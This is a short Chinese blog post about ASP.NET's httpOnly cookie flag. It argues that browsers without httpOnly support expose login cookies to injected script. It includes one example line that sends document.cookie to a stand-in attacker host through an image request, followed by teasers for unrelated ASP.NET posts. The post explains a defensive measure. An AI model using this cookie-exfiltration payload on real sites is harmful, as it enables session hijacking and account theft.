一个一直都让人忽略的ASP.NET安全问题.
自从IE6 SP1起 , 这个浏览器就支持cookie的httpOnly属性.
这个属性, 告诉浏览器, 使用 window.document.cookie 不允许访问该cookie .
而在ASP.NET2.0中 , 这个属性也得到了支持, 并且在FormAuthentication中指定该属性.
但是,FireFox等浏览器, 并不支持该属性. 那么这个带来什么后果?
例如 , 假如你用FireFox登录博客园(www.cnblogs.com
), 然后到一个恶意的用户的文章去.
你知道cnblogs.com允许用户随意增加javascript的.
那么该用户就能得到你的cookie,然后用一个简单的方法,把你的cookie发送到他的数据库去:
hiddenImg.src="http://hackyourlogininfo.com/savecookie.aspx?cookie="+escape(document.cookie)
当然,ASP.NET发送给客户端的信息是加密过的.
但是别人可以直接通过伪造COOKIE,直接使用该cookie,以你的身份登录博客园.
所以 - 用FireFox登录博客园类似的网站, 你的帐户信息随时会被盗.
但是如果使用IE6SP1,IE7,就不会存在该问题.
因为它支持httpOnly,所以使用document.cookie并不能取得ASP.NET的登录信息.
相关文档：
通过在页上包含 LoginView 控件可以向匿名用户和登录（经过身份验证的）用户显示不同的信息。LoginView 控件包含两个模板：一个用于向匿名用户显示信息，另一个用于向登录用户显示信息。（还可以使用 RoleGroups 属性包含基于角色名称的模板。）该控件自动确定用户是否经过身份验证并呈现 ......
using System.Web.Mail ;
private void Button1_Click(object sender, System.EventArgs e)
{
//实例化MailMessage对象
System.Web.Mail.MailMessage mail=new System.Web.Mail.MailMessage();
//定义邮件的发送地址 , 可以随便填一个不存在的地址 ......
你会经常碰到这种情况：几乎在网站的每个页面上,存储一些全局处理信息。理想的做法是将这些信息一次性的集中存储在资料档案库中，而不是在网站的每个页面上都重复这样的操作。比如说数据库连接串就是这样的信息，如果这些信息不是集中存储在特定区域中，而是在网站的每个需要连接数据库的页面上手工输入� ......
发布中遇到了两个问题
一。session 会短时间自动消失
解决办法
1。在www.google.com中查session 丢失
2。在Window服务中将ASP.NET State Service 启动。
3。修改web.config
<system.web>
add <sessionState mode="StateServer" timeout="60"/>
二。sql server 超过最大连接池数
......
200X年12月23日的一次面试经历（共六轮），至此9-X周年之际，和各位朋友分享，希望对各位朋友有用，有些自己的答案贴出来也仅仅是抛砖引玉，希望各位朋友不吝赐教，说句老实话，面试的时候时间很紧，很难考虑最优算法。
起因是朋友推荐我去W公司应聘Senior SDE这个职位，应该算是内部推荐了，下面是招聘要求
Title: Senio ......
